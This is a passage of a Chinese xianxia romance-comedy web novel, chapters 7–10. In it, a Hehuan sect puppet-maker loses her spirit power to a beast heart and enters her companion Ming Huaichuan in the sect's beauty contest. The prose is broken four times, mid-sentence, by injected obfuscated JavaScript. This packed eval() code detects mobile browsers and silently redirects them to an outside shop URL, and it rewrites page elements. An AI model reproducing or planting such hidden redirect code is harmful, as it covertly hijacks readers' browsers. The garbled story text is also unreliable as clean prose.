“——虽然还没做完。”不急不徐地给自己补充道。 除了强制要求学习本门心法之外,合欢宗不会拘束弟子选修战斗法门时是否照本宣科,雁音的傀儡术是她从藏书阁找了几本相关的秘籍后,和合欢宗心法融合自创的。师姐们检查过她修炼时经脉顺畅,战斗力足够自保后就由着她去了。 球哥能自创招式,很厉害。 她也能自创术法,她也很厉害。 “怎么样?”雁音想得到一个评价。 “看上去挺像那么回事,”明怀川道,“你这傀儡……能动吗?” “不知道,我试试。” 盒子中的干枯心脏被取出放置好,紧接着雁音拿出一个小瓶子,那是初次下山的实践报告获得高分后她获得的奖励,每一次作业受到嘉奖,她都会获得奖励。 “这是什么?” “合欢露。”雁音介绍。 这是一种经由特殊方法熔炼了生机和灵力的基础丹药,通常是各种任务或者作业的奖励,在门派内可以作为类似灵石的一般等价物使用。它有着诸多功效,美容养颜、增加灵力、促进经脉恢复,还能被傀儡吸收,激活其控制。 写作业,赚合欢露,提升实力,再写更难的作业,流程稳定而完美。 师姐给的小瓶子里一共有十颗合欢露。雁音计划过,其中三颗分给明怀川帮助他恢复伤势,两颗作为给善见换手的粘合剂,剩下五颗都留给自己,吸收以便修炼。 傀儡是傀儡师实力组成的一部分,把属于自己的其中一颗分给傀儡完全没问题。 尽管雁音对这颗心脏没有一丁点了解,不知道将合欢露浇上去之后会有什么反应,但修士活着就要勇于尝试,她大胆地将瓶口倾斜,看着一颗晶莹剔透的半透明珠子缓慢从瓶口滚出,落在干枯心脏上。 好像……没什么反应呢。 雁音屏住呼吸,手和瓶子悬在半空,维持倾斜的状态。 然后,她发现自己手动不了了。 下一刻,突然一阵刺目的强光。 瓶子剩余的合欢露尽数掉落、吸收,包括雁音自己,全身灵力像是被人从一个破口呼啦啦全部吸走。心脏发出灼目的红光,仿佛生机骤然迸发,发出绝无可能的砰砰跳动。 扑通、扑通。 电光火石间明怀川当机立断扑了上去,力气大到直接撞破雁音和瓶子的接触,喘息之际抱住雁音落地翻滚一圈。 这场猝不及防的风波来得快去得也快,等他抬起头时,小楼二层已经恢复平静,强光只持续了一瞬,心脏又变回了原本干枯死寂的样子,仿佛刚刚经历的一切都是幻觉,什么也没发生过。 明怀川松了口气,连忙看向怀里的人:“你没事吧?” 雁音没说话,就着平躺的样子直挺挺翻了个身,咕噜一声,从明怀川的怀中缓缓翻到屋子角落,抱住膝盖团成球,呆呆的声音自言自语。 “啊,失败了。” 一整瓶的合欢露没了,全身的灵力没了,心脏也没激活。 没了,都没了,哈哈。 陷入自闭。 方才心脏宛若新生的鼓动没有对现场造成任何破坏,只是稍有凌乱,善见捡起盒子,从摔破的底部夹层抽出一张此前没发现过的纸片。 善见一字一句地念:“致我愚蠢的徒弟:这是一颗至少是元婴期的妖兽心脏,建议你在修到元婴期前不要瞎捣鼓。” “另:我猜当你看见这封信时,你已经一定瞎捣鼓过了,死心了没?” “另另:我给这颗心脏下了禁制以防它直接吸死你,是不是很感动啊?哈哈哈!” 最后落款:“你伟大的师尊。” 雁音:“……” 感觉更自闭了呢。 善见笑容温和:“看来雁施主的师尊十分挂念你呢。” 不,我觉得她纯粹是在幸灾乐祸。 雁音幽幽地叹了口气,她蜷缩着面壁思过,好像一朵长在阴暗角落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401534|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小蘑菇。 这惨淡的模样令明怀川一向硬到不行的嘴都说不出一句重话,憋了半天上前拍拍她的肩:“别伤心。” 雁音抬头,扁了扁嘴:“作业,写不完了。” 她带明怀川和善见回家是为了治伤和换手,但现在丹药和灵力全部没有,计划被搁置不说,师姐布置的让她提升修为境界的作业暂时也没法完成了。 明怀川没想到雁音受到的打击这么大,安慰道:“合欢露没了我们可以再想想别的办法。” “是哦。” 雁音把自己摊开躺在地上,像一张饼,眼角眉梢都挂着伤心丧气,语气藏着忧郁的味道:“可以找人双修,就是要花时间筛选合适的人选。” 门规不允许合欢宗内部消化,雁音又答应了师姐近期不再下山。 她安慰似地朝向明怀川,虽然和球哥相性很好:“你太纯情了,我肯定不找你,绝对不会的。” 最后还强调一句:“你放心。” 明怀川:“……”莫名感到被嫌弃了是怎么回事? 她居然嫌弃他!! 纯情有错吗?!难道是觉得他是初次技术太差?? 仿佛被戳到了痛处,明怀川脸色五彩斑斓地变化,张着嘴啊啊了半天,最终停在了一种愠怒的粉,他伸手狠狠捏扁雁音的嘴:“谁稀罕,你闭嘴吧!” 她不反抗,任由明怀川搓扁揉圆。 球哥脾气不好,她会让着球哥一点。 她就是这么善解人意的合欢宗弟子。 等到明怀川终于从恼羞成怒的情绪中挣脱,他松手,却见一股微小的阻力抓住衣角,是雁音向他伸出双手:“想出门,抱我。” “你自己怎么不起来?” “灵力被抽干了,没有力气。” 真诚的眼睛诉说最朴实的理由。 明怀川叹了口气,认命地弯下腰:“真是麻烦,败给你了。” 半刻后。 雁音的目的地是外门客栈。 合欢宗有很多规矩,其中一条是不允许入夜后外客留宿内门。雁音很能理解,毕竟合欢宗是修真界热门景区,有很多姘头、未来的姘头以及想当姘头的人来来往往,约束秩序理所应当。 眼见明怀川和善见在合欢宗的停留时间因为自己的失误变长,雁音负起责任,从明怀川背后探出半个脑袋:“你好。” 外门客栈内,本门派修士几乎没有,其他门派的修士聚集在此,热闹又喧嚣。 兼职账房的倒是合欢宗弟子,看见雁音这幅样子就乐了,边说话边吐瓜子皮:“哟这不小师妹嘛,听说你带男人回来啦?怎么你男人不走了?” “师姐好,是的,不走。”雁音一一回答,掏出钱袋,“想要两间上房。” 明怀川和善见大师一人一间。 雁音想,梧城客栈每晚二两银子,以此类比,就算会涨价,她的积蓄足够他们二人在这里住至少半年。 就见面前的师姐大手一挥:“上房3灵石一晚,承惠总共6灵石。” 钱袋抖了抖,又抖了抖,除了一堆碎银外,滴溜溜滚出两块灵石。 雁音瞳孔地震:“师姐,你这是在抢劫。” 8. 第 8 章 “怎么就抢劫啊,话不要说得那么难听,”账房师姐摊在椅子上嗑瓜子,“现在是春四月,百花盛开,万物复苏,正是一年来我们合欢宗忘忧谷往来宾客最多的时候。” 雁音用眼神控诉:“所以房费也万物复苏了是吗?” “是呀,小师妹,”师姐连瓜子都不磕了,两手一摊,“咱们合欢宗是庸俗的门派,总得想办法赚钱养这么多弟子,宰不了自己人就宰外人咯。” “如果想省钱可以住山脚,”师姐说,“山脚的客栈也是我们开的。” 客栈是合欢宗的本土产业,甚至开到了数百里外的流音宗。 住宿费用视与内门的距离而定,城内二两,山脚二十两,外门两块灵石,住景区就是要贵一点。 行吧。 雁音在与师姐的对视中败下阵来,趴在明怀川背上,拍拍他的头:“球哥,有钱吗?” 身下的肌肉僵硬一秒。 随后传来近乎呢喃的低音:“呃……以后我会还你的。” 雁音懂了,那就是没有的意思。 她如法炮制问了善见大师,得到了相似的答案,结论就是他们三个人凑不出一间屋的房钱。 旺季的合欢宗恐怖如斯。 但又不能不住。 雁音看看球哥又看看善见大师,最后目光落回师姐手边的瓜子皮。她吸了口气,用尽毕生砍价的绝学,把上房换成普通无窗客房,把两间换成一间,把三餐换成自理,最终以二灵石加四十两白银的弟子内部优惠价,换得三天客栈居住权。 三天,要治好他们两人的伤,要不然只能睡野外了。 雁音深感责任重大,她付完钱,变成一个穷光蛋,再示意球哥把她放下,经过片刻调息她已初步具备行走的能力。 客栈大堂人头攒动,十几张桌子坐得满满当当。雁音目光梭巡一圈,朝着靠近出口的方向坚定走去。 那张桌子坐了三个书生打扮的男人。 面容俊秀,合格。身带书简,大概率是某个以书入道的门派成员,合格。桌上菜不少,话少有钱喜欢看风景,合格。 雁音掏出笔和小本:“你们好,能告诉我你们的名字吗?” “你们是来找认识的师兄师姐的吗?” “你们修为都是什么境界啊?” “你们晚上有其他安排吗?” 她问得严肃又正经,颇有种调查户口的架势,像是在认真采访。 但奈何不住身后突然一阵极强的压迫感,三名书生修士还未作答,雁音头顶就传来幽幽的磨牙声。 明怀川:“一不留神没看住你,你跑到这,是来干什么?” 雁音理所当然:“找实践对象。” 咚。 一记闷响。 雁音抱住自己的头哎哟地叫,须臾两根手指从眼前穿过,精准地捏住唇瓣,这下她连哎呦都说不来了。 只听见头顶明怀川皮笑肉不笑的声音:“呵,三位慢吃,人我就先带走了。” 众目睽睽之下雁音被捏到二楼,直到进入客房明怀川才放手。 房间昏暗,还有些闷热,床褥桌子倒一应俱全,什么都不缺。雁音慢条斯理地顺了顺衣服边的褶皱,抬头,问明怀川:“球哥你这是在干嘛?” “呵,我还想问问你跑那三个人面前干什么。” 听得出情绪起伏,但雁音不明白他那么不满是为了什么,她耐心地解释:“为了修炼,双修提升修为会比较快。” 虽然筛选对象会浪费时间。 师姐布置的作业是留在山上直至突破筑基末期,那她三天内完成目标,就能赢得合欢露作为奖励,为明怀川和善见治伤。 “你这样不对,坏人修行,如同害人性命。”雁音说,“你应该向我道歉。” “我应该向你道歉?”明怀川尾音微微高扬。 他被雁音气笑了,这人怎么倒打一耙? 雁音却确认着点头:“嗯,你道歉。” “你、你,”明怀川扶额试图整理语言,“你在大庭广众之下用那般言语向陌生人搭讪,能不能有点廉耻?” 哪知道雁音眨眨眼睛:“廉耻?我没有那种东西。” 那不是合欢宗弟子所必须具备的东西。 她心平气和,心如止水,衬托得明怀川好像是在场之中唯一一个不高兴的人。 卧房的空气似乎随时间变得更烦闷了些,明怀川顿时什么话都说不出来了,他深呼吸几口气告诉自己不要和雁音计较,却在闷热的空气中愈加烦躁。 诡异的聊天到此中断,他沉默良久,而后推门离去,发出一声轻微的砰。 直到他走后雁音都很茫然,转头用无辜的眼神向善见求助:“他怎么了?” “阿弥陀佛,天机不可泄露。” 善见维持慈祥的笑意,学着雁音的样子眨眨眼:“不如你猜猜看?” 男人心海底针,猜不到啦。 。 事实是明怀川下山去了趟集市。 他的脚程很快,避开外门的人群,挑着陡峭的近道走,山间簌簌呼啸的风会令头脑冷静下来。等他回到山谷客栈时,华灯初上,连树梢都蔓延灯影的光彩。 他提了满兜的菜,有最基础的葱姜蒜,两斤面粉,外加一颗大白菜和一斤猪肉。 说真的,去了集市明怀川才知道,猪肉养殖也是合欢宗的产业。 客栈后厨在非三餐时间可对外开放,明怀川提着菜篓走进后厨,急促沉重的剁肉声仿佛索命一般,刀刃铛铛铛砸在案板上。 明怀川是会做饭的,在元婴期前他外出历练过几年,那时经济条件虽比现在好,但在野外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401535|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风餐露宿时三餐都得自己想办法,做饭就是在那时学会的。 但他做饭的水平实在一般,勉强维持在能够下咽却达不到美味的程度,后来修为高了,能辟谷了,他便没有再起过做饭的心思。 现在,他把面粉加水擀成皮,再把白菜和猪肉剁碎搅拌,临到混合成馅的时候明怀川开始犹豫了,油盐比例比记忆中的各类兵器招式还模糊。 “你应该加两勺盐,一匙香油,一勺胡椒。”身后突然冒出的声音说。 明怀川认出来人:“善见法师。” “阿弥陀佛,贫僧不才,估计生前八成管过斋饭。” “味道很好,谢谢。”明怀川顿了顿,问,“雁音呢?” “雁施主在房内调息打坐,等你回来,夜深露重,你有伤在身,我与施主都很担心。” 善见从善如流:“明施主怎想起晚上做饭了?” 明怀川装作不经意地咳嗽,侧过头小声道:“不是说让我道歉吗?” “道歉,总得有诚意吧。” 他承认独自出门时是有自尊心在作祟,情绪上头,大脑燃烧,需要清冷的晚风和时间缓和以扭转态度。 更何况,他堂堂一个大男人,怎么好意思第一时间主动低头认错的。 “施主这做的是什么?”善见问。 “馄饨。”明怀川回答。 雁音喜欢梧城客栈老板娘做的小馄饨。 这是她在作业和傀儡之外仅有的表达过喜欢的东西。 明怀川专注地盯着面团,用那双持过剑杀过人的手擀皮、扮馅,再冷脸捏成元宝状的小馄饨。 其实这两日的所见所闻他也不是没有完全放在心上。双修也好,在房间里放尸体也好,在这里统统没有限制,合欢宗是一个放浪不羁的门派,教出来的弟子用脚趾头想也必不可能是什么端方淑女。她说没有廉耻心就是没有廉耻心,这是一个陈述句,雁音没有骗人。 没有欺骗,那他的确应为自己不当的行为道歉。 可是雁音,明怀川头疼地想。 她天生情绪迟钝,淡淡的,对什么都不在意,即使他们曾经有过那么亲密的关系。 说不定也正是如此,才能在崇尚逍遥和欢愉的合欢宗如鱼得水。 锅里的水开始沸腾,馄饨一个个扑通扑通掀起水花,而明怀川在这时叹了口气。 善见见状:“明施主怎么了?因何叹气啊?” “不,没事,没什么。” 明怀川是绝对不会说的。 尽管早有征兆,但他在此时此刻才终于清晰且可悲地认识到。 或许,可能,大概,他认为的两情相悦不过是自欺欺人而已。 但是明怀川是剑修。 剑修古板、粘人、执着且小心眼。 他终究先人一步。 9. 第 9 章 咚咚两声,是谁在敲门。 用打坐的方式与天地灵脉沟通其实是一种基础而效率低下的手段,雁音从吐息打坐的状态中醒来,修为关隘仍旧只是松动但不动的状态,她平静地接受了这次的无用功,跳下床穿鞋开门一气呵成。 被一碗小馄饨直接怼在脸上。 碗后面是明怀川的脸:“夜深了,要吃点夜宵吗?” 好像有点饿了。 吃点也行。 拂去汤沫,香葱和胡椒的香气便扑鼻而来,雁音坐下低声说着谢谢,舀了一勺将馄饨吹凉,任由充满油脂的汤汁在口中爆开。 “味道如何?” 雁音想了想,点评:“不如梧城客栈的老板娘,但我想再来一碗。” “你这到底是贬是夸?” 雁音老实道:“不知道,我只是诚实。” 明怀川失笑,也许是试探,又或者是情不自禁,他将手高高抬起,却在即将触碰到雁音的脸时停住。 为何犹豫? 雁音不明所以,但她对实践对象的要求向来尽可能地满足,主动触碰他的手,这次力度很轻,像羽毛拂过颊面。 皮囊乃身外之物,无论做什么都不会影响本心,属于人的温暖的触感来了又走,雁音并不在乎,只是冲明怀川轻轻笑了一下。 那是个非常微弱的笑容,若非修士耳聪目明,甚至看不清嘴角翘起的弧度。 但却很轻柔地,在他心上挠了挠。 “咳,”明怀川将手收回放在唇边,惯用地用咳嗽掩饰情绪,但却实在忍不住好奇,停顿片刻,“你很高兴?” “嗯。”简洁单音从鼻腔发出,雁音吃馄饨安静且快,在两口馄饨的间隙她开了口,“你没有摔死,也没有迷路,而是平安回来了。” 这样很好,没有在支付报酬的流程中节外生枝。 “关心也能说得这么讨嫌,我真是谢谢你不是在咒我啊。” “不用谢,没关系。” “……我并不是真的在感谢你啊!” 明怀川的话说得没好气。 明家是修仙世家,他也曾是被世家养大的端方公子,但雁音总有一股魔力,令他说不出准备好的话,维持不住正经优雅的风度,甚至还常常情绪上头和她斗嘴。 更何况善见会跟着添乱。 善见是同明怀川一起进的屋,他适时插嘴:“明施主虽没有摔死也没有迷路,但他从买菜到摆盘全都亲力亲为,专注非常,且从不假手于人,贫僧观之,明施主做饭时忧虑甚深,煞气极重……” “咳咳咳咳!!” 一阵惊天动地的咳嗽骤然爆发,明怀川捂住善见的嘴,有气无力:“没有的事,别说了,都别说了……” “明施主,纵使你不想听贫僧说话贫僧也得说。” 善见坐在两人侧方,脸色死白,仔细一看被明怀川捂住的脑袋颤颤巍巍的。 他弯了弯眼睛:“贫僧是死人,您再用力,我的头就掉了。” 明怀川:“……” 罢了。 再说下去话题就要偏到九霄云外,明怀川按住眉心,选择放过可怜的善见大师,坐到雁音对面。 从他的角度仔细望去雁音的瞳孔深处是墨绿色的,越是漆黑的环境这份绿色就愈加明显,它是极光,是旷野,是星夜原野的无边静谧,明怀川置身其中,倏忽闭上双眼。 片刻后,他说:“白天的事,嗯,抱歉。” 雁音停下吃饭的手,偏头,作出倾听状。 球哥是在为之前阻止自己双修的事道歉吗? “哦,没关系。”雁音想了想,补充一句,“这次是真的没关系嘛。” “那你原谅我了?” “当然。”雁音用力点头。 摸摸头摸摸头,撸撸揉乱他的头发,球哥和自己不一样,搓搓他的皮囊就会让他开心起来。 非常的简单好懂。 然而她却理解错了明怀川的意思。 手段是错的,但目标正相反,明怀川只是为了将她从那三人扯离而道歉,却并不认为自己的阻止哪里有问题,既然直接阻拦雁音会引起反感,那下次就从她的“实践对象”下手。 剑修,有的是耐心。 两人相视一笑,彼此都为矛盾的化解而由衷喜悦。 “至于修炼,”明怀川承诺,“我会想办法不影响你的进度,无论如何都会令你顺利突破境界。” ——以合适的手段。 自己去当那个实践对象也不是不行,但一来明家传统更向往因爱结合的伴侣,二来雁音,好像很嫌弃他的技术,呵。 明怀川不得不承认合欢宗对剑修的偏见不是完全没有道理。 他的确很记仇。 “修炼突破无非靠的是功法、丹药、灵植、环境,我近期会在合欢宗附近寻找有没有合适的灵植。”重走修炼之路,明怀川决定充分发挥他积攒自千年后明家藏书阁的经验和智慧,“在下不才,看过些风水卜卦的闲书。” “哦!”雁音鼓掌,“厉害厉害,那能帮我算算附近有合适的墓穴吗?” “你找墓穴干什么?” 雁音深沉地回答:“我觉得千年老尸做成的傀儡一定很厉害。” “没有那种东西!” 雁音哼哼唧唧地表达不满,她说你懂尸体还是我懂尸体,我可是专业的,找不到完整的,找点残肢碎片也行啊! 还能给善见大师的手部素材提供更多选项。 “尸体附近通常阴气重,怕是找不到增进修为的灵植,”白骨伸入视野中央,吸引两人注意,是善见的手。 他对明怀川的提案表示反对:“况且白日那位账房弟子说这两日贵宗人员往来,宾客众多,料想即使真有灵植妙药,也来不及等两位施主摘采。” “说得也是。” 明怀川知晓自己运气一向不好,即使能卜中灵草的位置,说不定也会被人捷足先登,合欢宗又不是什么深山老林人迹罕至的地方。 不过顺着善见的话,他倒是记起些别的。 明怀川:“这么说来,我下山买菜时,看见外门广场人流涌动,许多人围着一群合欢宗弟子,似乎正在搭台子。” 四四方方的木台,栅栏围住三面,再用红绸和花枝装饰,是很有合欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401536|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗风格的比武台。 明怀川看向在场唯一的合欢宗弟子:“这是准备做什么?” “……啊!” 明怀川话音刚落,雁音突然呆了下。 “啊这个。” 她心虚地抬起头,干巴巴道:“是宗门大选,我忘记了。” 外门广场准备的是合欢宗一年一度的宗门大选,往年从来和雁音无关。 雁音果断无视面前两人饱含无奈和谴责的目光,尤其是明怀川眼中“不是这你也能忘?!”的震惊,冷静望向他因惊讶而微微瞪大的眼睛。 她确认道:“球哥,你说过,会想办法不影响我的修炼进度的吧?” “是。” “你说过,无论如何,都会让我突破境界的吧?” “是。”明怀川问,“怎么了?” 雁音顿时肉眼可见地精神振奋:“就决定是你了,球哥!替我去参加宗门大选吧!” 明怀川:“?” 他难以置信地指指自己。 那可是宗门大选啊!修士竞相上台争斗比试,通常只限本门派弟子参加,他又不是合欢宗弟子,凑什么热闹。 但是雁音很坚定:“我们合欢宗和别的门派不一样。” “宗门大选只能由本门弟子举荐的其他修士参与,”雁音以前不认识其他门派的修士,今年好不容易认识两个,自然要把握住机会,她道,“仅限金丹期以下的修士,获胜奖励由选手和举荐者平分。” 他艰难地问:“不是,你们合欢宗自己的比试为什么要外人参加?” 不然呢? 雁音茫然:“那光天化日朗朗乾坤,公然比赛双修是不是影响不太好?” “……” 何止是不好。 雁音觉得宗门大选的定义一点问题都没有,她眼睛的光越来越亮,像猝然升空绽放的白日烟火,期待地看向明怀川:“球哥修为筑基期圆满,长得好看,棍法舞得也好看,刚巧合适,由我做你的举荐人最合适不过了。” 而且大选只是名字听上去隆重,评委都由合欢宗弟子自己担任,按照规定的标准打分,每年举办一次。 年年都办的比赛叫什么盛会嘛。 明怀川犹豫,总觉得哪里不对。 雁音握紧拳头,使出杀手锏:“只要报名即可获得三颗合欢露,进入第二轮再加五颗,最后按名次最高可获得另外三十二颗合欢露,以及一百枚灵石和师姐送出的神秘奖励。” 明怀川:“……” 奖励虽不丰厚但听上去好心动啊。 “怎么样?参加吧好不好好不好好不好,求求你了。” 在雁音声声平淡又婉转的哀求中明怀川好像忘记了什么。 正常的争夺比试哪里在乎美丑和评分,可明怀川却在雁音持续不断的低语中选择性忽略了这点。他心想他本就承诺过雁音,帮助她修炼是自己必须完成的手段也是应该尽到的义务,区区一个宗门大选又怎么会放在眼里。 “好,我参加。”明怀川说。 剑修,越级挑战从不在怕的,不就是打架吗? 他一定会赢。 10. 第 10 章 赢个屁。 明怀川倒吸了口凉气。 春和景明,草色青翠,阳光被树枝叶片切割成大小不一的碎金。外门广场的大选展台已然搭好,沉郁木色搭配透明的纱和嫩粉的花枝,在正对着的数百座椅前静默伫立。 而不远处等候的男女各色选手,个个打扮得花枝招展,曳地长裙或是玉冠长发,容姿秀丽,姿态端正。 怎么看都不像是来比武打架的。 雁音暂且陪在身旁,明怀川冷静地问:“这就是你们合欢宗的宗门大选?” “对呀。” 明怀川继续问:“你们大选到底选什么?” 雁音正色道:“选美人。” 这很明显啊,球哥好奇怪,她怎么可能让一个受伤之人前去比斗呢? 再说了,选美怎么不算一种大选。 步入修行之途,人会经历洗经伐髓,从内而外焕发新的生机,这时因为后天不足而导致的缺陷就会消散,露出人原本的面貌。 即使修道后人的容貌会一定程度得到修正,但那都是修成金丹后的事了,对于筑基期修士而言,美就是美,纵使人的审美各异,但大体方向不会变化。 我们合欢宗就是喜欢美人啊。 雁音无辜地看向明怀川。 多么合情合理。 但明怀川显然不这么觉得,好不容易端起的冷静自持的君子架子在听见回答那刻差点破功,他看了看雁音,吸了口气,又看了看马上要开始大选的舞台,再吸了口气。 果然,之前不祥的预感成真了。 前天夜里,自他答应参加合欢宗宗门大选后,雁音就鬼鬼祟祟的,她交代明怀川要多多练习当初清明夜晚用的那套棍法,而后便一整天见不到人,美其名曰正在准备秘密武器。 棍法而已,只要不是用剑就行。 诸武皆通,百无禁忌,明怀川对此没有意见,他找了个没人的地方练了一天,深夜时分才捉到偷偷摸进他房间的雁音。 雁音怀里有个包裹。 “这是?”明怀川问。 雁音一脸神秘:“这就是我说的秘密武器。” 拆开粗布系成的结,细银闪闪,绸缎轻柔,衣袂飘飘,一件蓝灰色的衣裳流淌而出。 她说:“我亲手做的,你试试。” “你还会做衣服呢。”明怀川嘀咕。 雁音:“大概算是。” “什么叫大概?” 雁音不说话了。 该怎么回答呢,她喜欢做的是寿衣和娃衣,不是正常织布裁剪,所以她的模特都是用天花板库存零件临时拼凑的躯体。 常人会忌讳这个吗?她不确定,含糊地一笔带过:“球哥别问了,总之你快试试。” 衣料的细闪并不明显,只在对准月光时散发泠泠微光,整体裁剪利落又优雅,尽显劲瘦挺拔身姿。 但问题是。 明怀川深呼吸:“你这衣服是法器吗?” 雁音摇头:“不是。” 她一个全部积蓄都用来付房费的穷鬼哪有钱卖法器材料,雁音道:“就是凡人用的普通料子。” 那他就不理解了! 明怀川耳朵变得通红:“既然不是法器,那你这衣服为什么只有下半身啊!!” “因为你上半身比较好看。”那日明怀川被师兄们追着跑时她是见过的,轮廓饱满线条深壑,雁音歪头,“好看的身材要展示出来,能加分。” 加什么分?加什么分! 现在想来大抵是那个时候明怀川意识到不对劲了,可雁音实在是个知错能改的好孩子,他说不愿意穿,雁音表示理解,自言自语说什么“的确书上说过不要太露用力过猛,要欲盖弥彰半遮半掩的才更加吸引人”。 她说得太小声,道歉的态度又十分诚恳,说同意为明怀川再换一套衣服,哪怕熬夜赶工通宵不睡也未尝不可。 说得明怀川都愧疚了。 于是强烈的愧疚淹没了那点微妙的不对劲,等到明怀川再次甚感不妙时已是第二天,天光大亮,晨鼓奏响,他与雁音并肩而立,共同望向不远处即将开场的合欢宗宗门大选现场。 明怀川:“所以,我现在这身衣服是什么情况?” 雁音充分吸收了昨日的经验,下半身没有变化,长裤挺阔,外围如水的衣襟行走间凸显腿笔直且长,比例极好,而上半身她加了一件无袖高襟紧身黑色长衫,衣料很薄,隐隐约约勾勒出肌肉的轮廓。 在她的强烈要求下,明怀川为自己梳了一个高马尾,再用雁音备用的红丝绦绑成结,丝绦尾部垂在耳后,尽显潇洒风流却又不失锐利锋芒。 好看。 雁音鼓掌,不愧是我熬通宵做出的秘密武器。 “穿这身舞棍一定宛若游龙,超棒的,”雁音晃晃明怀川下摆多余的飘带,不管他现在是紧张也好,羞耻也罢,都不得不面对生活的痛击,“球哥,今天你要是不参加,晚上你和善见大师就会被赶到荒郊野外,自生自灭了。” “所以你一定会参加的,对吧?” 明怀川沉默一瞬,总觉得被坑了。 而且是被雁音无意识坑了。 但他说不出反驳的话,纵使生活有众多预测不到的深坑,人总是要往前看的,明怀川叹了口气:“行行,我会认真对待的,满意了吧?” 雁音比大拇指:“超满意。” 合欢宗宗门大比共分两轮,第一轮是走秀展示,从喊到名字那刻开始就算进入评选环节,叫到名字的选手从后台走至台前,回答一众评委的问题,再返回后台。 这个过程主要筛选出容貌、体态、谈吐都出众的参赛者,而后选择一定比例的人进入第二轮才艺展示,数量并不限制,而后按照第一轮评分顺序由低到高轮流表演,形式不限,综合第一轮分数决出整体排名。 流程并不复杂,一天就能比完。 巳时正,大选正式开始。 说实话宗门大比比起正规的比赛更像是合欢宗弟子用于取乐自己的娱乐活动,并不严肃。往日外门少见的合欢宗弟子齐刷刷坐满台前,人手一把瓜子,看见有好看的便鼓掌喝彩。 “这个好这个好。” “笑一个吧!笑起来更好看。” “啊,巧笑倩兮,美目盼兮。”* 往年雁音不是上课就是窝在家里写作业,既不当观众也不当评委没空参加,今年作为举荐人则自动失去了评委的资格。 为了钱包和新的作业她当然想赢,鬼鬼祟祟穿过人群跑到最前面,搬了个小板凳,坐在锦书和卿寒之间。 两位师姐是宗门大选的评委,年年如此。 卿寒扇不离手,见小师妹猫在自己身侧,摇扇笑道:“哟,小师妹,来吹枕边风啊?” “嗯。”雁音点头,“规则没说不许。” 大选主持者是十二师兄,咋咋呼呼的性格很适合承担这份话多的工作,他开始呼叫选手和举荐人的姓名,或盛装或干练的修士流水般在台上来了又走。 卿寒同雁音咬耳朵:“哎呀可是师姐看不得你为了一个男人找我求情,我会忍不住给他使绊子的,怎么办?” 雁音立刻嘴角下撇眼睛无光,熟悉她的人都知道那是伤心的表情。 “师姐忍心看我作业写不完吗?” “这么说来,”卿寒呵呵一笑,“师尊说得对啊,你肯定是连带灵力和我之前给你的合欢露一起,被那颗妖兽心脏吸干了吧。” 啊,心虚。 目光简直乱瞟,恰逢锦书此时嗯了一声,示意她们明怀川的登场。 好一个清秀俊逸的郎君! 明怀川从侧后方拾阶而上,缓缓走至舞台中央,他沉默不言,风度翩翩,一身盛装既凸显好身材又增加几分仙气,c俊俏容颜宛若明珠耀世,熠熠生辉。 而那些在雁音面前的羞涩和少年心性全都褪去了,他显得冷淡而又傲慢,年岁和心性的历练使他平添一份沉稳和锋利,即使站着不动,磅礴的气势也如青山一般摧压而来。 一阵静默后,台下爆发出雷鸣的欢呼,合欢宗的喜爱就是这么直白,更有甚者参与那天围堵明怀川的行动,嘻嘻哈哈地朝雁音做鬼脸。 雁音没搭理,看向台上。 “明怀川,对吧?”卿寒笑了下,那笑容莫名有了一丝冬日的寒意,“倒是不曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401537|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说过的名字,你说你是一介散修?” 他只略微颔首,落落大方:“某无名之辈,得而有幸能与诸位前辈同台竞技。” “你的举荐人是雁音?” “是。”明怀川惜字如金。 卿寒简单打量着他,语气还是和往日一般轻快:“容貌体魄都不错,看来音音平日的课听进去了,没随便找来个人应付交差。” ……事实就是随便应付的,雁音低下了头。 上台的选手多是散修和小门派的弟子,毕竟不算什么正经的比赛,大多是抱着能拿名次更好,拿不到名次拿参与奖也不错的心态参加的,选手本身水平参差不齐,明怀川的容貌和身材混入其中简直鹤立鸡群,无可挑剔的好。 